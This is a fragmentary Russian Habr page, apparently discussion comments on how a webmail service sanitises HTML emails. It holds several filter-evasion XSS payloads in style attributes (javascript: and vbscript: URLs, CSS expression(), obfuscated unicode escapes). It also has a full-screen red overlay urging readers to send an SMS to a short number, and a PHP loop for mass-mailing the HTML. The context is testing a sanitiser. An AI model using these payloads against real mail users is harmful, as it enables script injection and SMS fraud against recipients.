Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
<b style="display:block;position:absolute;left:0;top:0;width:100%;height:100%;background-color:red;font-size:36px;">Отправьте SMS на короткий номер...</b>
<b style="display:block;;width:100%;height:100%;background-color:red;font-size:36px;" id="mailru-webagent-gen-43">Отправьте SMS на короткий номер...</b><div background="http://***/templates/default/images/background.png" style="min-height:100px;background-color:#e1e1e4;background:url('http://***/templates/default/images/background.png') 50% 50% fixed no-repeat;color:#fff;font-family:Calibri;font-size:14px;line-height:1.22"><b style="background-image:url(javascript:alert('HabraHabr'))">Ха-ха-ха!</b>
<b style="width:expression(alert('HabraHabr'));">Ха-ха!!!</b>
<b style="background-image:url(JaVaScRiPt:AlErT('Habr'))">qwerty</b>
<b style="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">test</b>
$users = array(...);
foreach($emails as $email)
{
try{
$mail = new PHPMailer(true);
$mail->AddAddress($email);
$mail->SetFrom('me@me.org', 'I am');
$mail->Subject = $title;
$mail->MsgHTML(file_get_contents('mail.html'));
$mail->CharSet = 'utf-8';
$mail->IsHTML(true);
$mail->Send();
}catch(Exception $e){}
}
vbscript же есть :-)<b style="background-image:url(vbscript:msgbox('HabraHabr'))">Ха-ха-ха!</b>
<style>, атрибут class и атрибуты событий (onclick, onload и т.д.). Из атрибута style вырезаются все правила, связанные с позиционированием. К тому же у блока, в котором отображается тело письма, применено свойство overflow, поэтому «выйти» за пределы контейнера и перекрыть элементы интерфейся вряд ли получится.
Особенности обработки HTML-писем